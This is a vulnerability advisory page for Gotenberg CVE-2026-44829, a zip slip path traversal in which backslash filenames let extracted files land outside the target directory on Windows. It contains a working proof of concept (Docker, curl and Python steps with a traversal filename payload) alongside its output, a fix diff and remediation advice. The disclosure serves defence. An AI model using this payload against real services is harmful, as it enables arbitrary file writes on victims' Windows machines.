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Gotenberg CVE-2026-44829

| EUVDEUVD-2026-62427 HIGH
Path Traversal (CWE-22)
2026-05-29 https://github.com/gotenberg/gotenberg GHSA-hwc4-gmrw-5222
8.8
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
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Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY
8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
SUSE
HIGH
qualitative

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
May 29, 2026 - 17:20 vuln.today
Analysis Generated
May 29, 2026 - 17:20 vuln.today
CVE Published
May 29, 2026 - 16:38 nvd
HIGH 8.8

DescriptionCVE.org

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

go
filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim - there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

go
originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") - the map value verbatim.

Suggested fix

diff
- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

bash
mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done
# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf
# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'
# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')
# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

powershell
Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

  • Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).
  • Reachable via every multi-output Gotenberg route - /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.
  • Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" - the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

AnalysisAI

Zip slip path traversal in Gotenberg through version 8.32.0 allows remote unauthenticated attackers to plant files outside the extraction directory on Windows hosts that unzip multi-output API responses. Because Gotenberg runs on Linux containers, its filepath.Base sanitisation never strips Windows-style backslashes from uploaded multipart filenames, so a crafted name like '..\..\..\Windows\System32\evil.pdf' is preserved verbatim as a zip entry name and honoured by Windows extractors (7-Zip, WinRAR, .NET ZipFile, Explorer). A working publicly available exploit code exists in the GHSA advisory; the issue is not present in CISA KEV and no EPSS score was provided.

Technical ContextAI

Gotenberg is a Go-based HTTP service (github.com/gotenberg/gotenberg/v8, pkg:go) that wraps Chromium, LibreOffice and PDF engines to convert documents. The root cause is a classic CWE-22 path traversal arising from a host/target OS mismatch: in pkg/modules/api/context.go (lines 434 and 472) the handler calls filepath.Base(fh.Filename), but Go's filepath package on Linux only treats '/' as a separator, leaving backslash sequences untouched. The unsanitised name flows through ctx.diskToOriginal and SplitPdfStub into the mholt/archives v0.1.5 library, whose nameOnDiskToNameInArchive writes the supplied map value verbatim into the zip central directory. The same diskToOriginal map is also reachable through the downloadFrom Content-Disposition filename parameter, broadening the input surface beyond direct multipart uploads.

RemediationAI

Vendor-released patch: upgrade to Gotenberg v8.33.0 or later, whose release notes (https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0) explicitly add stripping of both forward-slash and backslash path separators from caller-supplied Gotenberg-Output-Filename headers and multipart filename fields. If immediate upgrade is not possible, sanitise filenames at an upstream proxy by rejecting or rewriting any multipart filename or Content-Disposition parameter containing '\' or '..' before the request reaches Gotenberg (this may break legitimate Windows clients that submit native paths). As an additional defensive layer, change downstream consumers to extract Gotenberg zip output with tooling that normalises backslashes and rejects '..' segments - for example, validate each zip entry name with a path-canonicalisation step in the consuming pipeline - rather than feeding the archive straight into 7-Zip/WinRAR/ZipFile.ExtractToDirectory; the trade-off is added latency and code in every consumer. Disabling the multi-output routes (/forms/pdfengines/split and similar) and the downloadFrom feature eliminates exposure but removes core product functionality.

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

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CVE-2026-44829 vulnerability details – vuln.today

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